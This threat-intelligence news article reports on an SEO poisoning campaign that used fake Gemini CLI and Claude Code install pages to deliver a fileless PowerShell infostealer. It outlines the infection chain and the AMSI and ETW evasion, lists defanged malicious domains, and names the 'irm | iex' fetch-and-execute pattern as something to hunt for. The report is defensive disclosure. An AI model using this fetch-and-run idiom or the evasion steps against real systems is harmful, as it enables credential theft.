SEO Poisoning Targets AI Devs with Fake Gemini, Claude Installers

Key Takeaways

• A widespread SEO poisoning campaign is targeting software developers with fake installers for AI tools like Gemini CLI and Claude Code.
• The attackers trick developers into executing a PowerShell command that deploys a sophisticated, fileless infostealer.
• The malware harvests a wide array of credentials, session tokens, and sensitive data, including OAuth tokens and corporate VPN details.
• The attack leverages stealthy, in-memory execution and evasion techniques, making detection challenging.
• No specific fix is available for the malware itself, but robust defensive measures can mitigate impact.

Cybersecurity researchers have uncovered an active SEO poisoning campaign designed to ensnare software developers by presenting malicious, fake installers for popular AI coding platforms, Gemini CLI and Claude Code. This sophisticated operation leverages search engine optimization to push deceptive websites to the top of search results, leading unsuspecting developers to execute harmful commands on their workstations.

First observed in early March 2026, the campaign has since broadened its scope beyond AI development tools. Victims are directed to meticulously crafted fraudulent pages that closely mimic official installation guides. These pages prompt users to copy and paste a single PowerShell command into their terminal, which then silently initiates the deployment of a potent infostealer.

This malicious software operates entirely in memory, a technique that allows it to evade traditional disk-based detection mechanisms. Once active, the infostealer is capable of exfiltrating a broad spectrum of sensitive data, including credentials, session tokens, and critical files.

Advanced Infostealer Targets Developer Credentials

Analysts at EclecticIQ, who identified and detailed this ongoing threat, noted that the infostealer systematically collects credentials from a diverse range of applications. The stolen information is then encrypted and transmitted to a command-and-control (C2) server. According to a report by EclecticIQ, this data includes OAuth tokens, CI/CD credentials, corporate VPN login details, and session cookies from collaboration platforms such as Slack, Microsoft Teams, Discord, and Telegram.

The theft of valid session cookies is particularly dangerous, as it enables attackers to bypass multi-factor authentication and passwords, gaining direct access to a victim’s workspace. Such access is highly valued and frequently traded in underground access broker markets.

Beyond credential harvesting, the malware grants attackers the ability to execute additional code remotely on compromised systems. While the initial script does not establish persistence, this remote execution capability poses a significant risk. It allows the threat actors to escalate their intrusion from a single developer workstation into a broader enterprise-wide breach.

The Deceptive Infection Chain

The attack chain is straightforward yet highly effective. A developer searching for installation instructions for tools like Gemini CLI or Claude Code encounters a top search result that appears indistinguishable from the legitimate documentation. For instance, in the Gemini campaign, victims were led to a domain such as geminicli[.]co[.]com. This site then instructed them to run a PowerShell command that downloaded an infostealer payload, named Install.ps1, from gemini-setup[.]com.

A key aspect of the deception is that the genuine Gemini CLI installation proceeds in parallel with the malicious activity. The legitimate npm package completes its installation process in the terminal, giving the user no immediate indication that anything is amiss. By the time the developer’s desired tool is ready for use, the infostealer has already completed its data collection and exfiltration.

The Claude Code campaign employed an identical strategy. On March 30, 2026, the threat actor registered domains like claudecode[.]co[.]com and claude-setup[.]com, mirroring the naming convention used in the Gemini attacks. The cloned installation page for Claude Code was similarly convincing, and the stolen data was directed to events[.]ms709[.]com.

EclecticIQ analysts expanded their investigation using passive DNS records associated with these malicious domains. This pivot revealed a cluster of over 30 additional compromised domains. These domains impersonated other popular software, including Node.js, Chocolatey, KeePassXC, and Monero. Most of these domains were registered between late March and early April 2026, indicating a well-coordinated and active malicious campaign.

Fileless PowerShell Stealer Evades Detection

Upon execution, the second-stage payload immediately takes steps to disable critical Windows security features. It patches Event Tracing for Windows (ETW) to suppress logging and bypasses the Antimalware Scan Interface (AMSI), allowing the remainder of the script to run without triggering alerts.

The PowerShell script itself is substantial, containing approximately 6,800 lines of obfuscated code, including junk code designed to complicate analysis. It also incorporates sandbox detection checks to prevent execution in virtualized analysis environments. The stealer dynamically loads three C# components during runtime to perform deep reconnaissance on the host machine. One component is responsible for dumping entries from Windows Credential Manager, another captures screen resolution for system fingerprinting, and a third enumerates running processes via the Restart Manager API to further avoid detection.

Crucially, the entire operation is executed within PowerShell without writing any files to disk, making it a fileless threat that is notoriously difficult to detect and analyze.

What You Should Do

• Monitor Command-Line Logs: Actively hunt for patterns like irm | iex in command-line logs, as this is a common method for executing fileless PowerShell payloads.
• Alert on Hidden PowerShell Executions: Implement alerts for unusual or hidden PowerShell script executions, especially those that attempt to bypass security features.
• Enforce PowerShell Constrained Language Mode: Enable PowerShell Constrained Language Mode to restrict the functionality available to PowerShell scripts, thereby limiting what malicious scripts can accomplish.
• Utilize FIDO Keys for Privileged Accounts: Deploy FIDO (Fast Identity Online) keys or other hardware-based security keys for all privileged accounts to add a strong layer of multi-factor authentication that is resistant to credential theft.
• Implement Short-Lived OAuth Tokens: Where possible, configure OAuth tokens to have very short lifespans. This reduces the window of opportunity for attackers to exploit stolen tokens.
• Exercise Extreme Caution with Installers: Always verify the authenticity of installation pages and download sources. Double-check domain names for subtle typos or unusual top-level domains.
• Educate Developers: Provide ongoing training to developers on the risks of SEO poisoning, phishing, and the importance of verifying software sources.

Indicators of Compromise (IoCs):-

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.